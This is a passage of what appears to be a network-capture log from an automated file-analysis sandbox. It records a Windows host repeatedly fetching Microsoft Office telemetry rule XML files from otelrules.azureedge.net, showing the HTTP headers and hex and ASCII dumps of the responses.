N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49947	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:56:00 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:56:01 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:56:01 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 3266629f-e01e-0020-5891-3fde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075601Z-174f784596886s2bhC1EWR743w0000000v7g000000002yhx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:56:01 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49948	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:56:00 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:56:00 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:56:00 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: baa0ac7b-001e-0082-1291-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075600Z-174f7845968n2hr8hC1EWR9cag0000000usg0000000065nw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:56:00 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49949	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:56:01 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:56:01 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:56:01 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: cf7e946f-901e-0083-4991-3fbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075601Z-174f78459688l8rvhC1EWRtzr000000007tg000000002nrx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:56:01 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49950	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:56:01 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:56:01 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:56:01 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: effa0956-a01e-0032-4c91-3f1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075601Z-174f7845968vqt9xhC1EWRgten0000000v900000000017zn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:56:01 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49951	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:56:02 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:56:04 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:56:03 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 9546ee6f-d01e-0014-4f91-3fed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075602Z-174f78459688l8rvhC1EWRtzr000000007rg000000005a5y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:56:04 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49952	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:56:02 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:56:03 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:56:03 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 8a8d0fd0-701e-0021-7591-3f3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075603Z-174f7845968n2hr8hC1EWR9cag0000000uq000000000avxw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:56:03 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49953	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:56:03 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:56:03 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:56:03 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 67f9b02f-701e-0053-4491-3f3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075603Z-174f7845968j6t2phC1EWRcfe80000000v70000000009hd1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:56:03 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49954	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:56:03 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:56:03 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:56:03 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: dbe9ef63-901e-005b-3a83-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075603Z-174f7845968xr5c2hC1EWRd0hn0000000byg000000007kww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:56:03 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49955	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:56:03 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:56:03 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:56:03 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: af6c4ed9-f01e-00aa-2a91-3f8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075603Z-174f7845968j6t2phC1EWRcfe80000000vd0000000000cye x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:56:03 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49956	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:56:05 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:56:05 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:56:05 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 4c44aa58-201e-005d-7b91-3fafb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075605Z-174f7845968kdththC1EWRzvxn00000007kg000000001c3z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:56:05 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49960	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:56:05 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:56:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:56:06 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: b931fb3f-301e-000c-1a91-3f323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075606Z-174f78459685m244hC1EWRgp2c0000000uy0000000007f8c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:56:06 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49957	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:56:05 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:56:06 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:56:05 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 581112ab-301e-0000-7391-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T075605Z-174f7845968zgtf6hC1EWRqd8s0000000n600000000012ry x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
